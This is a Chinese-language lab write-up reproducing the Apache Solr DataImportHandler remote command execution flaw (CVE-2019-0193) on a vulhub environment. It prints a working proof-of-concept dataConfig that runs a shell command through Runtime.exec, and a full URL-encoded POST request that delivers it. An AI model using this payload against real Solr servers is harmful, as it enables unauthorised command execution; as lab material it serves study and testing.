当前位置: 首页 > news >正文

vulhub中Apache Solr 远程命令执行漏洞复现(CVE-2019-0193)

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

1.首先在页面左侧选择`demo`核心,打开Dataimport面板,开启右侧Debug mode,填入以下POC:

<dataConfig><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");}]]></script><document><entity name="sample"fileName=".*"baseDir="/"processor="FileListEntityProcessor"recursive="false"transformer="script:poc" /></document>
</dataConfig>

2.利用burpsuite发送以下请求包:

POST /solr/demo/dataimport?_=1708782956647&indent=on&wt=json HTTP/1.1
Host: your-ip:8983
Content-Length: 613
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-type: application/x-www-form-urlencoded
Origin: http://your-ip:8983
Referer: http://your-ip:8983/solr/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Connection: closecommand=full-import&verbose=false&clean=false&commit=true&debug=true&core=demo&dataConfig=%3CdataConfig%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22sample%22%0A++++++++++++fileName%3D%22.*%22%0A++++++++++++baseDir%3D%22%2F%22%0A++++++++++++processor%3D%22FileListEntityProcessor%22%0A++++++++++++recursive%3D%22false%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

3.命令成功执行

http://www.lryc.cn/news/331894.html

相关文章:

  • 水泥5G智能制造工厂数字孪生可视化平台,推进水泥行业数字化转型
  • vue 一个简单实例化Vue.js 是一个流行的前端框架,如何创建一个基本的计数器应用
  • 1.k8s架构
  • 【Linux】详解动态库链接和加载对可执行程序底层的理解
  • 中文Mistral模型介绍(Chinese-Mistral)——中文大语言模型
  • yolo v5 中 letterbox对不规则矩形框的输入调整
  • STL是什么?如何理解STL?
  • 【Spring篇】Spring IoC DI
  • Python语言例题集(010)
  • redis---主从复制
  • 搜索引擎-03-搜索引擎原理
  • mysql语句学习
  • 【Apache Doris】周FAQ集锦:第 1 期
  • Windows创建远程线程学习
  • 使用c语言libexpat开源库解析XML数据
  • 51单片机入门_江协科技_19~20_OB记录的笔记
  • 基于k8s的高性能综合web服务器搭建
  • Folder Icons for Mac v1.8 激活版文件夹个性化图标修改软件
  • Gitee上传私有仓库
  • HTMLCSSJS
  • 第14章 数据结构与集合源码
  • 分享react+three.js展示温湿度采集终端
  • 易宝OA ExecuteSqlForDataSet SQL注入漏洞复现
  • C++语言学习(二)——⭐缺省参数、函数重载、引用
  • qt通过setProperty设置样式表笔记
  • Sora文本生成视频(附免费的专属提示词)
  • Flask Python:数据库多条件查询,flask中模型关联
  • Spring Security 实现后台切换用户
  • 《QT实用小工具·一》电池电量组件
  • 基于springboot实现墙绘产品展示交易平台管理系统项目【项目源码+论文说明】计算机毕业设计